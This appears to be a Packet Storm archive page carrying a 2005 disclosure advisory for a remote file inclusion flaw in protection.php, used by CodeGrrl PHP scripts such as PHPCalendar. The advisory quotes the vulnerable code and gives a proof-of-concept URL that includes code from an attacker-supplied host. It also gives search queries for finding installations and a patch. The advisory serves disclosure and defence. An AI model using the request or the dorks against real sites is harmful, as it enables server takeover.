Twenty Year Anniversary

PHPCalendar.txt

PHPCalendar.txt
Posted Nov 15, 2005
Authored by Robin Verton

A remote code execution vulnerability has been discovered in various CodeGrrl products including PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, and PHPQuotes.

tags | exploit, remote, code execution
MD5 | cd96338a3b96453f9b3b5d5e28f63ef5

PHPCalendar.txt

Change Mirror Download
PHPCalendar (and some more codegrrl.com products) arbitrary code execution
==========================================================================


Software: PHPCalendar, PHPClique, PHPFanBase, PHPCurrently, PHPQuotes
Severity: Arbitrary code execution
Risk: High
Author: Robin Verton <r.verton@gmail.com>
Date: Sep. 24 2005
Vendor: codegrrl.com [contacted]


Description:

Written in PHP/MySQL, PHPCalendar is a script designed especially to help webmasters to mantain a calendar, with all upcoming events and birthdays.
It was designed to be used at personal sites, but it can also be very useful for fansites, to keep track of tours, premiers, awards shows,
tv apearances, interviews, magazines features, and many more! You can see it in use at unfloopy.net.
[http://www.codegrrl.com/]


Details:

1) protection.php (with register_globals = On)
If register_globals is on an attacker can include an arbitrary php file to execute malicious code.



$logout_page = "$siteurl";

[...]

if ($action == "logout")
{
Setcookie("logincookie[pwd]","",time() -86400);
Setcookie("logincookie[user]","",time() - 86400);
@include($logout_page);
exit;
}

Proof of Concept:

To exploit this vulnerability an attacker only has to use the following HTTP-Request:
http://www.example.com/protection.php?action=logout&siteurl=http://yourhost.com/malicoius-code.txt

Patch:
Set register_globals in the php.ini off or disallow direct access to the protection.php f.e. define constants and use
code like

if( !defined('IN_SYS') ) {
die('Hacking attempt');
}

to prevent the direct access

Credits:

Credit goes to Robin Verton, 15 years old from Germany

References:

[1] http://codegrrl.com
[2] http://www.google.com/search?q=%22Powered+by%3A+PHPFanBase%22 [about 112,000 results]
[3] http://www.google.com/search?q=%22Powered+by%3A+PHPCalendar%22 [about 44,000 results]
[4] http://www.google.com/search?q=%22Powered+by%3A+PHPCurrently%22 [about 44,000 results]
[5] http://www.google.com/search?q=%22Powered+by%3A+PHPClique%22
[6] http://www.google.com/search?q=%22Powered+by%3A+PHPQuotes%22






Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    7 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    40 Files
  • 23
    May 23rd
    64 Files
  • 24
    May 24th
    55 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close